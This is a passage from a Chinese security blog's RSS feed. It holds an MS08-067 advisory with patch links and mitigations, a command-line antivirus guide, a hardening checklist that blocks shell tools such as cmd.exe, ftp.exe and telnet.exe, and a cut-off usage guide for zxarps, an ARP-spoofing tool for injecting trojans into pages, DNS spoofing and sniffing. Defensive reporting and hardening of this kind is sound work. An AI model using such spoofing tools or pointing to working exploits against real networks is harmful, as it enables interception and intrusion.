		<description><![CDATA[中午的时候看到WP的升级版本，然后紧急升级，因为那个漏洞应该算是前阵子RSS阅读器报的漏洞的延续，只不过这次可以直接给WP服务器注入SHELL，很BT，谁让你开着发现都谁引用你的文章呢（在后台首页右侧偏上），然后就发现这个MS08-067，话说是微软24日凌晨破例紧急公布的！各大网站都说“其危害程度毫不逊于当年波及80%以上Windows用户的“冲击波”病毒。”。
Server服务在默认情况下都是自动运行的，而Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞，远程攻击者可以通过发送恶意的RPC请求触发这个溢出，导致完全入侵用户系统，以SYSTEM权限执行任意指令。
但是在公司若不是特别情况我想管理员都会把“Server和Computer Browser服务”这禁掉的（局域网文件共享需要的），网吧就可能有点不同啦，因为需要共享？需要开启这个，而因为这个漏洞引入一只蠕虫，那整个网络就不要想安宁啦，一点都不逊于ARP攻击！！
 
需要说明的是：对于Windows 2000、XP和Server 2003，无需认证便可以利用这个漏洞；对于Windows Vista和Server 2008，可能需要进行认证。
目前这个漏洞正在被名为TrojanSpy:Win32/Gimmiv.A和TrojanSpy:Win32/Gimmiv.A.dll的木马积极的利用。网上已出现了利用该漏洞的蠕虫病毒(Win32/MS08067.gen!A)。据360安全专家分析，这一漏洞的危害极为严重，黑客仅根据IP地址便可随意发起攻击，简直是“指哪打哪”，而且感染性非常强，只要远程执行一段下载恶意程序的代码，不但能随意弹出广告、盗取用户账号，还可以控制本机进而攻击其他用户，使破坏力持续放大，局域网的用户一旦有一个中招病毒就会迅速扩散。被认为是微软近一年半以来首次打破每月定期安全公告的惯例而发布更新。
 
解决办法1：
微软官方补丁下载地址：
PoC已经被发布，请大家尽快转告安装补丁。我们已经看到大陆地区访问Update的客户端数量有少量减少，不过现在告诉所有人“请恢复启用Windows Automatic Update安装MS08-067，这么做不会下载正版验证WGA”，就像说“这狗不咬人”一样。所以下面把补丁的链接地址直接贴出，方便有所顾虑的用户尽快安装，谢谢！
中文版的MS08-067补丁: 
Windows XP 安全更新程序 (KB958644) 
Windows 2000 安全更新程序 (KB958644) 
Windows Server 2003 安全更新程序 (KB958644)
英文版的MS08-067补丁：
Microsoft Windows 2000 Service Pack 4 
Windows XP Service Pack 2 
Windows XP Service Pack 3 
Windows XP Professional x64 Edition 
Windows XP Professional x64 Edition Service Pack 2 
Windows Server 2003 Service Pack 1 
Windows Server 2003 Service Pack 2 
Windows Server 2003 x64 [...]]]></description>
			<content:encoded><![CDATA[<p>中午的时候看到WP的升级版本，然后紧急升级，因为那个漏洞应该算是前阵子RSS阅读器报的漏洞的延续，只不过这次可以直接给WP服务器注入SHELL，很BT，谁让你开着发现都谁引用你的文章呢（在后台首页右侧偏上），然后就发现这个<a href="http://www.microsoft.com/china/technet/security/bulletin/MS08-067.mspx" target="_blank">MS08-067</a>，话说是微软24日凌晨破例紧急公布的！各大网站都说“其危害程度毫不逊于当年波及80%以上Windows用户的“冲击波”病毒。”。</p>
<p>Server服务在默认情况下都是自动运行的，而Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞，远程攻击者可以通过发送恶意的RPC请求触发这个溢出，导致完全入侵用户系统，以SYSTEM权限执行任意指令。</p>
<p>但是在公司若不是特别情况我想管理员都会把“Server和Computer Browser服务”这禁掉的（局域网文件共享需要的），网吧就可能有点不同啦，因为需要共享？需要开启这个，而因为这个漏洞引入一只蠕虫，那整个网络就不要想安宁啦，一点都不逊于ARP攻击！！</p>
<p> </p>
<p>需要说明的是：对于Windows 2000、XP和Server 2003，无需认证便可以利用这个漏洞；对于Windows Vista和Server 2008，可能需要进行认证。<br />
目前这个漏洞正在被名为TrojanSpy:Win32/Gimmiv.A和TrojanSpy:Win32/Gimmiv.A.dll的木马积极的利用。网上已出现了利用该漏洞的蠕虫病毒(Win32/MS08067.gen!A)。据<a href="http://baike.360.cn/recommend/3451604/13508762.html" target="_blank">360安全专家分析</a>，这一漏洞的危害极为严重，黑客仅根据IP地址便可随意发起攻击，简直是“指哪打哪”，而且感染性非常强，只要远程执行一段下载恶意程序的代码，不但能随意弹出广告、盗取用户账号，还可以控制本机进而攻击其他用户，使破坏力持续放大，局域网的用户一旦有一个中招病毒就会迅速扩散。被认为是微软近一年半以来首次打破每月定期安全公告的惯例而发布更新。</p>
<p> </p>
<p><strong>解决办法1：</strong></p>
<p>微软官方补丁下载地址：</p>
<blockquote><p>PoC已经被发布，请大家尽快转告安装补丁。我们已经看到大陆地区访问Update的客户端数量有少量减少，不过现在告诉所有人“请恢复启用Windows Automatic Update安装MS08-067，这么做不会下载正版验证WGA”，就像说“这狗不咬人”一样。所以下面把补丁的链接地址直接贴出，方便有所顾虑的用户尽快安装，谢谢！</p></blockquote>
<p>中文版的MS08-067补丁: <br />
<a href="http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&amp;FamilyID=0d5f9b6e-9265-44b9-a376-2067b73d6a03" target="_blank">Windows XP 安全更新程序 (KB958644)</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&amp;FamilyID=e22eb3ae-1295-4fe2-9775-6f43c5c2aed3" target="_blank">Windows 2000 安全更新程序 (KB958644)</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&amp;FamilyID=f26d395d-2459-4e40-8c92-3de1c52c390d" target="_blank">Windows Server 2003 安全更新程序 (KB958644)</a></p>
<p>英文版的MS08-067补丁：</p>
<p><a href="http://www.microsoft.com/downloads/details.aspx?familyid=E22EB3AE-1295-4FE2-9775-6F43C5C2AED3">Microsoft Windows 2000 Service Pack 4</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=0D5F9B6E-9265-44B9-A376-2067B73D6A03">Windows XP Service Pack 2</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=0D5F9B6E-9265-44B9-A376-2067B73D6A03">Windows XP Service Pack 3</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=4C16A372-7BF8-4571-B982-DAC6B2992B25">Windows XP Professional x64 Edition</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=4C16A372-7BF8-4571-B982-DAC6B2992B25">Windows XP Professional x64 Edition Service Pack 2</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=F26D395D-2459-4E40-8C92-3DE1C52C390D">Windows Server 2003 Service Pack 1</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=F26D395D-2459-4E40-8C92-3DE1C52C390D">Windows Server 2003 Service Pack 2</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=C04D2AFB-F9D0-4E42-9E1F-4B944A2DE400">Windows Server 2003 x64 Edition</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=C04D2AFB-F9D0-4E42-9E1F-4B944A2DE400">Windows Server 2003 x64 Edition Service Pack 2</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=AB590756-F11F-43C9-9DCC-A85A43077ACF">Windows Server 2003 with SP1 for Itanium-based Systems</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=AB590756-F11F-43C9-9DCC-A85A43077ACF">Windows Server 2003 with SP2 for Itanium-based Systems</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=18FDFF67-C723-42BD-AC5C-CAC7D8713B21">Windows Vista and Windows Vista Service Pack 1</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=A976999D-264F-4E6A-9BD6-3AD9D214A4BD">Windows Vista x64 Edition and Windows Vista x64 Edition Service Pack 1</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=25C17B07-1EFE-43D7-9B01-3DFDF1CE0BD7">Windows Server 2008 for 32-bit Systems</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=7B12018E-0CC1-4136-A68C-BE4E1633C8DF">Windows Server 2008 for x64-based Systems</a> <br />
<a href="http://www.microsoft.com/downloads/details.aspx?familyid=2BCF89EF-6446-406C-9C53-222E0F0BAF7A">Windows Server 2008 for Itanium-based Systems</a></p>
<p> </p>
<p><strong>解决办法2：</strong></p>
<p>禁用Server和Computer Browser服务。</p>
<p>在Windows Vista和Windows Server 2008上，阻断受影响的RPC标识符。在命令提示符中运行以下命令：<br />
    <br />
    netsh<br />
    <br />
然后在netsh环境中输入以下命令：</p>
<p>    netsh&gt;rpc<br />
    netsh rpc&gt;filter<br />
    netsh rpc filter&gt;add rule layer=um actiontype=block<br />
    netsh rpc filter&gt;add condition field=if_uuid matchtype=equal data=4b324fc8-1670-01d3-1278-5a47bf6ee188<br />
    netsh rpc filter&gt;add filter<br />
    netsh rpc filter&gt;quit</p>
<p>在防火墙阻断TCP 139和445端口。<br />
使用个人防火墙，如Internet连接防火墙。</p>
<p> </p>
<p> </p>
<p><strong>黑客眼中的MS08-067</strong></p>
<p> </p>
<p><a href="http://www.avertlabs.com/research/blog/index.php/2008/10/24/first-glimpse-into-ms08-067-exploits-in-the-wild/" target="_blank">First Glimpse into MS08-067 Exploits In The Wild</a> </p>
<p>On closer analysis, Spy-Agent.da.dll seeks out potentially vulnerable Windows machines in the local network, and sends maliciously crafted DCERPC requests to exploit the Server Service (SvrSvc).</p>
<p>When successful, hardcoded shellcode embedded within the malware, is executed on the targeted machines to download Spy-Agent.da (or possibly other variants or files) from a web server hosted in Japan.</p>
<p>Just hours following the patch release, public source code has already been seen distributing on the Internet. What more can I say ? Patch your systems ! Yes, NOW !</p>
<p><a href="http://vil.nai.com/vil/content/v_152898.htm">Spy-Agent.da</a> and <a href="http://vil.nai.com/vil/content/v_152900.htm">Spy-Agent.da.dll </a>are now detected using the current 5414 DATs. See<a href="http://www.avertlabs.com/research/blog/index.php/2008/10/23/mcafee-coverage-of-the-microsoft-emergency-release/">Dave’s blog</a> for McAfee’s coverage.</p>
<p> </p>
<p> </p>
<p><a href="http://ruder.cdut.net/blogview.asp?logID=275" target="_blank">MS08-067, How great it is!</a></p>
<p>Actually, This is not a stack overflow, but a stack overrun vulnerability. </p>
<p>There are two copies, the first copy is OK, but when there is another &#8221;..\&#8221;, it will lead to start the another copy (repeat the first copy codes), the second copy firstly does not calculate the base pointer correctly (firstly it is basePointer-2, so the &#8217;JZ&#8217; checking in the loop of searching character &#8217;\' will never come ture), that lead to get an unexpected stack pointer which is below the base pointer, after the wrong calculation, it starts the second copy and uses the unexpected pointer as the first parameter of function &#8221;wcscpy()&#8221;, therefore, the wrong-calculation memory will be rewritten. The EIP will be controlled in the main function, probably.</p>
<p> </p>
<p> <br />
<a href="http://milw0rm.com/exploits/6824" target="_blank">MS Windows Server Service Code Execution PoC (MS08-067)</a><br />
 <br />
So play around a bit, you&#8217;ll get it working reliably&#8230;</p>
<p> </p>
<p> <br />
<a href="https://forums.symantec.com/syment/blog/article?message.uid=360454">Tracking MS08-067</a><br />
While we haven&#8217;t seen widespread exploitation of this issue, there have been reports of a certain file, &#8220;n2.exe,&#8221; being downloaded on compromised computers. This file copies another piece of malicious code onto the compromised computer. Symantec products already detect both of these files as Infostealer.<br />
 </p>
<p> </p>
<p>引用大牛蛙的话：做盗版的“受害者”好过做盗贼的受害者，看黑色桌面好过让黑客看到你的桌面。</p>
<p><a id="bp___v___r___postlist___EntryItems_ctl00_PostTitle" href="http://blogs.technet.com/secure/archive/2008/10/23/October-2008-Critical-Out-Of-Band-Bulletin.aspx">十月紧急额外安全公告</a></p>
<p>下图是SWI给出的各平台受MS08-067的影响图中文版，请参考。</p>
<p><span style="color: #0000ee; text-decoration: underline;"><a href="http://img.clin003.com/wp-content/uploads/2008/10/ms08-067_4.jpg"></a><a href="http://img.clin003.com/wp-content/uploads/2008/10/ms08-067_4.jpg"><img class="alignnone size-medium wp-image-1553" title="ms08-067_4" src="http://img.clin003.com/wp-content/uploads/2008/10/ms08-067_4-215x300.jpg" alt="" width="215" height="300" /></a></span></p>
<p> </p>
<p> </p>
<p> </p>
<p>微软发布额外安全更新MS08-067-紧急(更新补丁下载地址)</p>
<p><a href="http://blog.duba.net/read.php?27">http://blog.duba.net/read.php?27</a></p>
<p> </p>
<p> </p>
<p> </p>
<p>前些天微软的“黑屏”验证计划真是闹得肥肥羊羊，真比微软做广告推广来的容易多啦，话说大陆大半个天都是微软的啦，oO，正版验证也好，黑屏也好，只要微软不使诈，就不会中招的啦，想必也不会对大多数人造成伤害，哈哈哈:P 。</p>
<p>另外看到啦个很寒的个评论“<a href="http://www.022net.com/2008/10-24/441926343149479.html" target="_blank">微软威胁到了中国的国家安全</a>”，说的不是没有道理，只是，只是政治的事我不懂，也说不清，关于这个评论也不说啥啦，自己掂量吧！！</p>
<p> </p>
<p><strong>相关链接：</strong></p>
<p>Microsoft 安全公告 MS08-067</p>
<p> <a href="http://www.microsoft.com/china/technet/security/bulletin/MS08-067.mspx">http://www.microsoft.com/china/technet/security/bulletin/MS08-067.mspx</a></p>
<p> </p>
<p>Microsoft Windows Server Service RPC Vulnerability</p>
<p> <a href="http://www.us-cert.gov/cas/techalerts/TA08-297A.html">http://www.us-cert.gov/cas/techalerts/TA08-297A.html</a></p>
<p> </p>
<p>MS08-067 Released</p>
<p><a href="http://blogs.technet.com/msrc/archive/2008/10/23/ms08-067-released.aspx">http://blogs.technet.com/msrc/archive/2008/10/23/ms08-067-released.aspx</a></p>
<p> </p>
<p>Windows Server服务RPC请求缓冲区溢出漏洞（MS08-067）</p>
<p><a href="http://www.sebug.net/vulndb/4288/">http://www.sebug.net/vulndb/4288/</a></p>
<p> </p>
<p>Why Microsoft&#8217;s SDL Missed MS08-067 in their own words</p>
<p><a href="http://www.cgisecurity.org/2008/10/why-microsofts.html">http://www.cgisecurity.org/2008/10/why-microsofts.html</a></p>
<p> </p>
<p>Get Protected, Now!</p>
<p><a href="http://blogs.technet.com/mmpc/archive/2008/10/23/get-protected-now.aspx">http://blogs.technet.com/mmpc/archive/2008/10/23/get-protected-now.aspx</a></p>
<p> </p>
<p>MS08-067 and the SDL</p>
<p><a href="http://groups.google.com/group/ph4nt0m/browse_thread/thread/1158015c79b2758d/0561e0a9ec7ec21f?show_docid=0561e0a9ec7ec21f">http://groups.google.com/group/ph4nt0m/browse_thread/thread/1158015c79b2758d/0561e0a9ec7ec21f?show_docid=0561e0a9ec7ec21f</a></p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/wp-use/upgrading-wordpress-263-1550/" rel="bookmark" title="Permanent Link: 紧急更新至WordPress 2.6.3">紧急更新至WordPress 2.6.3</a></li><li><a href="http://clin003.com/exploits/wordpress-2-8-1-security-bypass-0day-1763/" rel="bookmark" title="Permanent Link: WordPress < 2.8.1 Security Bypass 0day">WordPress < 2.8.1 Security Bypass 0day</a></li><li><a href="http://clin003.com/ideas/discuz-plugin-exploits-1800/" rel="bookmark" title="Permanent Link: 使用Discuz插件的同学需要注意了">使用Discuz插件的同学需要注意了</a></li><li><a href="http://clin003.com/linux/fedora-11-yum-1832/" rel="bookmark" title="Permanent Link: 配置 yum 为 Fedora 11 快速更新软件">配置 yum 为 Fedora 11 快速更新软件</a></li><li><a href="http://clin003.com/ideas/ucenter-discuz-uchome-googlephotouploader-1619/" rel="bookmark" title="Permanent Link: 今日杂碎：UC1.5，DZ7，UCH1.5，谷歌贴图升级">今日杂碎：UC1.5，DZ7，UCH1.5，谷歌贴图升级</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/security-update-vulnerability-patch-1552/" >http://clin003.com/safe/security-update-vulnerability-patch-1552/</a> <br /> <a href="http://clin003.com/safe/security-update-vulnerability-patch-1552/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/security-update-vulnerability-patch-1552/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>从命令行查杀病毒『金山毒霸』</title>
		<link>http://clin003.com/safe/from-the-command-line-killing-virus-by-kingsoft-antivirus-600/</link>
		<comments>http://clin003.com/safe/from-the-command-line-killing-virus-by-kingsoft-antivirus-600/#comments</comments>
		<pubDate>Wed, 02 Apr 2008 06:38:21 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[今日一点]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[kavdx]]></category>
		<category><![CDATA[命令行]]></category>
		<category><![CDATA[金山毒霸]]></category>

		<guid isPermaLink="false">http://clin003.com/?p=600</guid>
		<description><![CDATA[有时候不方便到界面下边或者为啦方便自己定制查杀病毒任务，这时命令行下的杀毒方式就显得很灵活实用啦（金山毒霸的屏保杀毒就是使用的命令行杀毒任务）。好啦下边看下金山毒霸查杀病毒命令格式。
C:\Program Files\Kingsoft\Kingsoft Internet Security 2008&#62;kavdx /help
Kingsoft AntiVirus Scan V3.0     Copyright (c) 1998, 2003 Kingsoft Co., Ltd
Usage:
KAVDX [drive:][path][filename] [{/&#124;-}&#60;switch&#62;[+&#124;-] &#8230;]
Switch:          (+&#124;-: Enable&#124;Disable switch)
?&#124;H&#124;Help        &#8211; For help
D               &#8211; Display default settings
M               &#8211; Scan Memory
B               &#8211; Scan Boot area
All             &#8211; Scan All files
Z               &#8211; Scan archived file
S               &#8211; Scan Sub directory
HA              &#8211; Heuristic Analysis
A{P&#124;C&#124;D&#124;S&#124;Q}    &#8211; Automate {Prompt&#124;Clean&#124;Delete&#124;Skip&#124;Quarantine} infected [...]]]></description>
			<content:encoded><![CDATA[<p>有时候不方便到界面下边或者为啦方便自己定制查杀病毒任务，这时命令行下的杀毒方式就显得很灵活实用啦（金山毒霸的屏保杀毒就是使用的命令行杀毒任务）。好啦下边看下金山毒霸查杀病毒命令格式。</p>
<p>C:\Program Files\Kingsoft\Kingsoft Internet Security 2008&gt;kavdx /help</p>
<p>Kingsoft AntiVirus Scan V3.0     Copyright (c) 1998, 2003 Kingsoft Co., Ltd</p>
<p>Usage:<br />
KAVDX [drive:][path][filename] [{/|-}&lt;switch&gt;[+|-] &#8230;]</p>
<p>Switch:          (+|-: Enable|Disable switch)<br />
?|H|Help        &#8211; For help<br />
D               &#8211; Display default settings<br />
M               &#8211; Scan Memory<br />
B               &#8211; Scan Boot area<br />
All             &#8211; Scan All files<br />
Z               &#8211; Scan archived file<br />
S               &#8211; Scan Sub directory<br />
HA              &#8211; Heuristic Analysis<br />
A{P|C|D|S|Q}    &#8211; Automate {Prompt|Clean|Delete|Skip|Quarantine} infected fi<br />
le(s)<br />
BAK             &#8211; Backup infected file(s) before clean<br />
Q               &#8211; Quarantine infected file(s) before clean<br />
CF{D|S|Q}       &#8211; When Clean Failed, {Delete|Skip|Quarantine} infected file(<br />
s)<br />
L&lt;LogName&gt;      &#8211; Virus Log with VirusInfoID</p>
<p>Thank you for using KAVScan!</p>
<p>kavdx是金山的杀毒引擎命令可在2000/XP/Vista 的 DOS 窗口下运行，也可以在纯 DOS 环境下运行。</p>
<p>（其他主流杀毒软件也有相应的命令需要的话请自行查看说明文档）</p>
<p>C:\Program Files\Kingsoft\Kingsoft Internet Security 2008&gt;kavdx /m /b d:\tools</p>
<p>Kingsoft AntiVirus Scan V3.0     Copyright (c) 1998, 2003 Kingsoft Co., Ltd</p>
<p>* Loading AntiVirus Engine&#8230;Ok<br />
* AntiVirus Engine Version: 2008.1.14.15<br />
* Loading Virus DataBase&#8230;OK!<br />
* Virus Database Version: 2008.4.2.10</p>
<p>* Init AntiVirus Engine&#8230;Ok</p>
<p>* Scan Windows memory&#8230;<br />
OK!<br />
* Scan No.0 hard disk Master Boot Record&#8230;Ok!<br />
* Scan D: disk boot sector&#8230;Ok!</p>
<p>* Scanning Directiories/Files&#8230;</p>
<p>* Checked Files: 8<br />
* No Virus Found!</p>
<p>Thank you for using KAVScan!</p>
<p>上边这个例子就是扫描内存和引导区和d:\tools目录</p>
<p>若不带路径参数将使用默认的参数“/All-”（只扫描程序文件及文档文件）</p>
<p>默认参数是这样的：</p>
<p>C:\Program Files\Kingsoft\Kingsoft Internet Security 2008&gt;kavdx /d</p>
<p>Kingsoft AntiVirus Scan V3.0     Copyright (c) 1998, 2003 Kingsoft Co., Ltd</p>
<p>Default Settings:<br />
/M           : Scan Memory<br />
/B           : Scan Boot area<br />
/All-        : Only Scan program and document file<br />
/Z-          : Disable Scan archived file(s)<br />
/S           : Scan Sub directory<br />
/HA-         : Disable Heuristic Analysis<br />
/AP          : Prompt when found virus<br />
/BAK-        : Disable Backup infected file(s) before clean<br />
/Q-          : Disable Quarantine infected file(s) before clean<br />
/CFS         : When Clean Failed, Skip infected file(s)</p>
<p>Thank you for using KAVScan!</p>
<p>看下中文的说明：</p>
<p>命令行格式：[路径]KAVDX [指定驱动器][指定路径][指定文件] [{/|-}&lt;switch&gt;[+|-] &#8230;]<br />
+ 打开设置开关<br />
- 关闭设置开关<br />
无 （[指定驱动器][指定路径][指定文件]）时检查所有本地硬盘</p>
<p>switch（命令行转换参数）<br />
?|H|Help 显示帮助信息<br />
D 显示默认设置<br />
M 扫描内存<br />
B 扫描引导区<br />
All 扫描所有文件<br />
Z 检查压缩文件<br />
ZC 清除压缩文件内文件所染病毒（只支持可清除的压缩格式）<br />
S 扫描子目录<br />
HA 启动启发式查毒<br />
A{P|C|D|S|Q} 发现病毒{询问后处理|自动清除|自动删除|自动跳过|自动隔离}被感染的文件<br />
BAK 清除病毒前备份被感染的文件<br />
CF{D|S|Q} 当清除失败时自动{删除|跳过|隔离}被感染的文件</p>
<p>如果没有选择任何参数，程序会按默认值来进行查毒，默认的设置如下所示：<br />
/M 扫描内存<br />
/B 扫描引导区<br />
/All- 只扫描程序文件及文档文件<br />
/Z- 不扫描压缩文件中的文件<br />
/S 扫描子目录<br />
/HA- 不启动启发式查毒<br />
/AP 发现病毒询问后处理<br />
/BAK- 扫描子目录<br />
HA 清除文件中的病毒时不备份原始的文件</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/suggested-contents/malware-analysis-and-antivirus-technologies-1113/" rel="bookmark" title="Permanent Link: 病毒分析技术课程PDF版本">病毒分析技术课程PDF版本</a></li><li><a href="http://clin003.com/wp-use/wordpress262-upgrade-1475/" rel="bookmark" title="Permanent Link: 升级WordPress2.6.2">升级WordPress2.6.2</a></li><li><a href="http://clin003.com/ideas/arp-counter-virus-attacks-1223/" rel="bookmark" title="Permanent Link: 反击arp病毒攻击">反击arp病毒攻击</a></li><li><a href="http://clin003.com/safe/virus-prevention-96/" rel="bookmark" title="Permanent Link: 预防病毒">预防病毒</a></li><li><a href="http://clin003.com/pligg-use/pligg-rss-78/" rel="bookmark" title="Permanent Link: Pligg安装啦啦rss导入模块">Pligg安装啦啦rss导入模块</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/from-the-command-line-killing-virus-by-kingsoft-antivirus-600/" >http://clin003.com/safe/from-the-command-line-killing-virus-by-kingsoft-antivirus-600/</a> <br /> <a href="http://clin003.com/safe/from-the-command-line-killing-virus-by-kingsoft-antivirus-600/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/from-the-command-line-killing-virus-by-kingsoft-antivirus-600/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>服务器检查配置</title>
		<link>http://clin003.com/safe/logs-by-lin-for-check-server-configuration-515/</link>
		<comments>http://clin003.com/safe/logs-by-lin-for-check-server-configuration-515/#comments</comments>
		<pubDate>Tue, 11 Mar 2008 15:28:04 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[今日一点]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[安全配置]]></category>
		<category><![CDATA[服务器]]></category>

		<guid isPermaLink="false">http://clin003.com/safe/logs-by-lin-for-check-server-configuration-515.shtml</guid>
		<description><![CDATA[1：使用netstat -naob查看开启的服务，然后配置防火墙，然后启用。
2：services.msc检查服务启动情况。
Error Reporting Service
Microsoft Search
Wireless Configuration
3：设置组策略gpedit.msc
4:
Documents and Settings
Program files目录，为Common Files目录之外的所有目录赋予Administrators和SYSTEM有
完全控制权。
5:
at.exe
attrib.exe
cacls.exe
cmd.exe
debug.exe
format.com
ftp.exe
net.exe
net1.exe
netstat.exe
regedt32.exe
telnet.exe
scrrun.dll
shell.dll
拒绝guest用户组访问
iis网站全局配置
。。。
不安全组件：
regsvr32/u C:\WINDOWS\System32\wshom.ocx
rename C:\WINDOWS\System32\wshom.ocx ws.bak.hom.ocx.bak
regsvr32/u C:\WINDOWS\system32\shell32.dll
rename C:\WINDOWS\system32\shell32.dll shell.bak.32.dll
sql扩展存储，php模块
Related posts:site Logs验证FeedSky配置H3C AR18-21A路由器(Ethernet端口映射与公网域名映射)用Google可查马英九机密用telnet检测网址返回的头部信息状态码Copyright &#169; 2007-2009 This feed is building by Lin's Space&#124;Only and 我的爬行JI - IT资讯精读.本文地址：http://clin003.com/safe/logs-by-lin-for-check-server-configuration-515/  雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]></description>
			<content:encoded><![CDATA[<p>1：使用netstat -naob查看开启的服务，然后配置防火墙，然后启用。<br />
2：services.msc检查服务启动情况。<br />
Error Reporting Service<br />
Microsoft Search<br />
Wireless Configuration<br />
3：设置组策略gpedit.msc</p>
<p>4:<br />
Documents and Settings<br />
Program files目录，为Common Files目录之外的所有目录赋予Administrators和SYSTEM有</p>
<p>完全控制权。<br />
5:<br />
at.exe<br />
attrib.exe<br />
cacls.exe<br />
cmd.exe<br />
debug.exe<br />
format.com<br />
ftp.exe<br />
net.exe<br />
net1.exe<br />
netstat.exe<br />
regedt32.exe<br />
telnet.exe<br />
scrrun.dll<br />
shell.dll<br />
拒绝guest用户组访问</p>
<p>iis网站全局配置<br />
。。。<br />
不安全组件：<br />
regsvr32/u C:\WINDOWS\System32\wshom.ocx<br />
rename C:\WINDOWS\System32\wshom.ocx ws.bak.hom.ocx.bak<br />
regsvr32/u C:\WINDOWS\system32\shell32.dll<br />
rename C:\WINDOWS\system32\shell32.dll shell.bak.32.dll</p>
<p>sql扩展存储，php模块</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/suggested-contents/site-logs-240/" rel="bookmark" title="Permanent Link: site Logs">site Logs</a></li><li><a href="http://clin003.com/about/check-feedsky-1382/" rel="bookmark" title="Permanent Link: 验证FeedSky">验证FeedSky</a></li><li><a href="http://clin003.com/servers/configuration-port-mapping-and-dns-map-h3c-ar18-21a-1796/" rel="bookmark" title="Permanent Link: 配置H3C AR18-21A路由器(Ethernet端口映射与公网域名映射)">配置H3C AR18-21A路由器(Ethernet端口映射与公网域名映射)</a></li><li><a href="http://clin003.com/suggested-contents/ma-ying-jeou-or-check-with-google-confidential-199/" rel="bookmark" title="Permanent Link: 用Google可查马英九机密">用Google可查马英九机密</a></li><li><a href="http://clin003.com/servers/detection-using-telnet-to-return-at-the-head-of-the-state-code-information-450/" rel="bookmark" title="Permanent Link: 用telnet检测网址返回的头部信息状态码">用telnet检测网址返回的头部信息状态码</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/logs-by-lin-for-check-server-configuration-515/" >http://clin003.com/safe/logs-by-lin-for-check-server-configuration-515/</a> <br /> <a href="http://clin003.com/safe/logs-by-lin-for-check-server-configuration-515/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/logs-by-lin-for-check-server-configuration-515/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>zxarps.exe使用介绍</title>
		<link>http://clin003.com/safe/zxarps-show-512/</link>
		<comments>http://clin003.com/safe/zxarps-show-512/#comments</comments>
		<pubDate>Tue, 11 Mar 2008 08:22:25 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[代码调试]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[arp欺骗]]></category>
		<category><![CDATA[DNS欺骗]]></category>
		<category><![CDATA[zxarps]]></category>
		<category><![CDATA[嗅探]]></category>
		<category><![CDATA[网页插马]]></category>

		<guid isPermaLink="false">http://clin003.com/safe/zxarps-show-512.shtml</guid>
		<description><![CDATA[说明：需要winPcap 基于arp欺骗，
具体功能看下面的使用说明
基于ARP欺骗的东东，可网页插马，DNS欺骗，自定义关键字嗅探等
网络地址信息：
0. Realtek RTL8139
IP Address. . . . . : 192.168.1.101
Physical Address. . : 00-11-D8-6B-5E-19
Default Gateway . . : 192.168.1.1
1. WAN (PPP/SLIP) Interface
IP Address. . . . . : xx.xx.xx.xx
Physical Address. . : 00-52-00-00-00-00
Default Gateway . . : xx.xx.xx.xx
options（参数说明）:
-idx [index] 网卡索引号
-ip [ip] 欺骗的IP,用&#8217;-'指定范围,&#8217;,'隔开
-sethost [ip] 默认是网关,可以指定别的IP
-port [port] 关注的端口,用&#8217;-'指定范围,&#8217;,'隔开,没指定默认关注所有端口
-reset 恢复目标机的ARP表
-hostname 探测主机时获取主机名信息
-logfilter [string]设置保存数据的条件，必须+-_做前缀,后跟关键字,
